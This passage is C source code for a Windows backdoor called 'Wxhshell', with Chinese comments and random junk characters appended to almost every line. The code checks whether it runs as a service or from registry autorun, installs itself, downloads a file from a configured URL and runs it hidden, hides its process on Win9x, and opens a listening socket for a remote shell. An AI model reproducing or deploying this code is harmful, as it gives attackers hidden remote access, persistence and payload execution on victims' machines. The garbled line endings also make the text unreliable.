DWORD BasePriority; YO!7D5rV #
ULONG UniqueProcessId; F~rYjAFTi
ULONG InheritedFromUniqueProcessId; RNrYT|
} PROCESS_BASIC_INFORMATION; ek.WuOs
_)Z7Le:f!
PROCNTQSIP NtQueryInformationProcess; 1b]PCNz
qer'V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .0*CT:1=0
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GPqB\bxb'
A(@gv8e[H^
HANDLE hProcess; ))+98iU1s
PROCESS_BASIC_INFORMATION pbi; <[B[
=rO>b{,hs
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o:Os_NaD
if(NULL == hInst ) return 0; {@F["YPxy
8iH;GFNJ7'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L)nVpqm
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BnnUUaE
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q?]@' ^:;
)D-.7m.v]
if (!NtQueryInformationProcess) return 0; sq6% =(q(?
Sph"w08
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o_Kc nVQ\
if(!hProcess) return 0; )s7 Tv#[
"drh+oo.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dK(%u9v
V1b_z
CloseHandle(hProcess); 3L%r_N*a
Xgth|C}k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F@(}=w^(A
if(hProcess==NULL) return 0; w wRT$-!
![D,8]GD
HMODULE hMod; HF=C8ZtlL
char procName[255]; 1*,~ 1!>
unsigned long cbNeeded; EKS<s82hF&
r-Xe<|w
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xS-nO_t 'E
4Z
p5o`*g2
CloseHandle(hProcess); C05{,w?
cyP*QW[
if(strstr(procName,"services")) return 1; // 以服务启动 BNoCE!
.q[sk
return 0; // 注册表启动 pz6-
hi7
} =|&"/$+s
A_*Lo6uII
// 主模块 9n\#s~,
int StartWxhshell(LPSTR lpCmdLine) -/7=\kao%
{ h+u|MdOY\
SOCKET wsl; ez:o9)N4
BOOL val=TRUE; IV#My9}e
int port=0; ]}L1W`n
struct sockaddr_in door; #V,~d&_k
xjk|O;ak
if(wscfg.ws_autoins) Install(); S^`9[$KH0
Ty|c@X
port=atoi(lpCmdLine); F*( A; N_y
pC.4AkEO
if(port<=0) port=wscfg.ws_port; Py0i%pZ
)n[Mh!mn
WSADATA data;
j.v _
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y'%Iat(z
iZUz6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \bl,_{z?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +/lj~5:y
door.sin_family = AF_INET; `*9FKs
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *_rGBW
door.sin_port = htons(port); M~Dc5\T
f#Oz("d
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q/`o6xv
closesocket(wsl); 1xV1#'@[Jd
return 1; ef;="N
}
m]}"FMH$
19{?w6G<k
if(listen(wsl,2) == INVALID_SOCKET) { b/}0
&VXo
closesocket(wsl); &r%^wfp
return 1; y]r~v
} <).qe Z
Wxhshell(wsl); ^X'7>{7Io
WSACleanup(); Z4zMa&
G.ARu-2's
return 0; 'wq:F?viF
yf^gU*
} eV+wnE?SB5
g)6 k?Y
// 以NT服务方式启动 l hp:.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |Qm%G\oB?
{ zVLi
DWORD status = 0; Y6;9j=[
DWORD specificError = 0xfffffff; G'C^C[_W
< io8
b|A
serviceStatus.dwServiceType = SERVICE_WIN32; %=
;K>D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :@A;!'zpL
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OWfj<#}t+
serviceStatus.dwWin32ExitCode = 0; ?+tZP3'
serviceStatus.dwServiceSpecificExitCode = 0; TmAb!
Y|F
serviceStatus.dwCheckPoint = 0; TBfl9Q
serviceStatus.dwWaitHint = 0; k8>^dZub
rGL{g&_
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^S2}0Nf
if (hServiceStatusHandle==0) return; ew ['9
?|YQtY
status = GetLastError(); MdjMTe s
if (status!=NO_ERROR) FdHWF|D
{ ZP/=R<<
serviceStatus.dwCurrentState = SERVICE_STOPPED; .JKaC>oX
serviceStatus.dwCheckPoint = 0; +N&(lj
serviceStatus.dwWaitHint = 0; :!FwF65
serviceStatus.dwWin32ExitCode = status; /UyE- "S
serviceStatus.dwServiceSpecificExitCode = specificError; SP1oBR"3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N|L5Ru
return; A8Y~^wn
} T`[ZNq+${
)`7h,w
J[1
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5R
G5uH/-<
serviceStatus.dwCheckPoint = 0; dj**,*s
serviceStatus.dwWaitHint = 0; ]>T/Gl1
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (2)9TpE;
} ee` =B
Vo8"/]_h
// 处理NT服务事件,比如:启动、停止 [6N39G$
VOID WINAPI NTServiceHandler(DWORD fdwControl) *j :5
{ YL0RQa
switch(fdwControl) 8[IifF1M=&
{ .Dxrc
case SERVICE_CONTROL_STOP: ;KN@v5`p
serviceStatus.dwWin32ExitCode = 0; 3_/d=ZI\
serviceStatus.dwCurrentState = SERVICE_STOPPED; zKT<QM!`
serviceStatus.dwCheckPoint = 0; 8}@a?QS(&
serviceStatus.dwWaitHint = 0; ?C\9lLX
{ 9oz)E>K4f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t4uxon
} {u3u%^E;R
return; H@2+wr)$}
case SERVICE_CONTROL_PAUSE: "//
8^e%Xo
serviceStatus.dwCurrentState = SERVICE_PAUSED; +-V?3fQ
break; ?&_\$L[
case SERVICE_CONTROL_CONTINUE: #oY7v,x\
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0q!{&pt
break; o 4wKu
case SERVICE_CONTROL_INTERROGATE: .p_$]
break; syvi/6
}; 1!#ZEI C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pw.+DA
} /RJSkF+!
\ziF(xTvqG
// 标准应用程序主函数 FgaBwd^W
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XE\bZc
{ ]0E- lD0J
T+hW9pa)
// 获取操作系统版本 =v9;HPiO
OsIsNt=GetOsVer(); SBt:
`,
GetModuleFileName(NULL,ExeFile,MAX_PATH); inrL'z
TUr}p aw_
// 从命令行安装 aH~"hB^e
if(strpbrk(lpCmdLine,"iI")) Install(); w+H=Xh4t
f;a6ux#
// 下载执行文件 ?OFvGd
if(wscfg.ws_downexe) { <'33!8
G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $<PVzW,$o
WinExec(wscfg.ws_filenam,SW_HIDE); \ S R
} >O=V1
dx}!]_mlZ
if(!OsIsNt) { THVF@@q
// 如果时win9x,隐藏进程并且设置为注册表启动 V"73^
HideProc(); ^;bkU|(`6
StartWxhshell(lpCmdLine); ~qH@Kz\%
} ^\%%9jY
else D%v yO_k
if(StartFromService()) Wd#6Y}:
// 以服务方式启动 ]B||S7idq
StartServiceCtrlDispatcher(DispatchTable); cPSu!u}D
else EbHeP
// 普通方式启动 2$ =HDwv
StartWxhshell(lpCmdLine); 3WS %H17
In2D32"F
return 0; ,zaveQ~l
}